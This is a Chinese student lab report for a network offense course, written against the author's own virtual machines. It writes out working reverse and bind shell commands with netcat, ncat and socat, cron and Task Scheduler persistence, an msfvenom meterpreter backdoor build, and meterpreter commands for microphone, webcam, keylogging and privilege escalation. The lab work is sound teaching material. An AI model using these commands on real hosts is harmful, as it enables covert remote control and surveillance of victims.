20155211《网络对抗》Exp02 后门原理与实践
实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
实验过程
Win获得Linux Shell
-
查看windows主机ip
-
windows下用ncat.exe打开监听端口ncat.exe -l -p 5211。
-
Linux下用nc指令反弹连接win端口nc 192.168.42.118 5211 -e /bin/sh。
-
windows下成功获得一个linux shell,可运行任何指令。
Linux获得Win Shell
- 过程与win获得Linux Shell 类似、
- ifconfig查看linux的ip地址
- Linux用nc监听端口nc -l -p 5211。
- Windows用ncat.exe反弹连接Linux端口ncat.exe -e cmd.exe 192.168.43.135 5211。
- Linux下看到Windows的命令提示。
使用nc传输数据
- Windows下监听5217端口ncat.exe -l 5211。
- Linux下连接到Windows的5211端口nc 192.168.43.135 5211。
- 建立连接之后,可以进行传输。
使用netcat获取主机操作Shell,cron启动
-
在Windows系统下监听5217端口ncat.exe -l -p 5211。
-
用crontab -e编辑一条定时任务。
-
在最后一行添加10 * * * * /bin/netcat 192.168.43.118 5211 -e /bin/sh
-
到达10分的时候,已经获得Linux的Shell,可以输入指令
使用socat获取主机操作Shell, 任务计划启动
-
在Windows下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后xxy5211,新建一个触发器。
-
在操作->程序中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5211,同时把cmd.exe的stderr重定向到stdout。
-
创建完成之后,点击运行。
-
在Linux环境下输入指令·socat - tcp:192.168.43.118:5211,此时可以发现已经成功获得了一个cmd shell。
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.135 LPORT=5211 -f exe > 20155211_backdoor.exe生成后门程序。
-
通过nc指令将生成的后门程序传送到Windows主机上。
-
在Linux上使用msfconsole指令进入msf控制台
-
在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口。
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用record_mic指令可以截获一段音频
-
使用webcam_snap指令可以使用摄像头进行拍照
-
使用webcam stream指令可以使用摄像头进行录像
-
使用screenshot指令可以进行截屏
-
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
-
先使用getuid指令查看当前用户,使用getsystem指令进行提权。
实验总结
问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?(注入到可执行文件中)
(2)例举你知道的后门如何启动起来(win及linux)的方式?(伪装成其他程序)
(3)Meterpreter有哪些给你映像深刻的功能?(拍照)
(4)如何发现自己有系统有没有被安装后门?(杀毒软件)
实验中遇到的问题及体会
最开始查看linux虚拟机ip时,发现ip地址为10.0.xxxx,经查找后发现为虚拟机网络配置问题,将网络配置由NAT改为桥接后解决。
感觉这个实验还是蛮有意思的。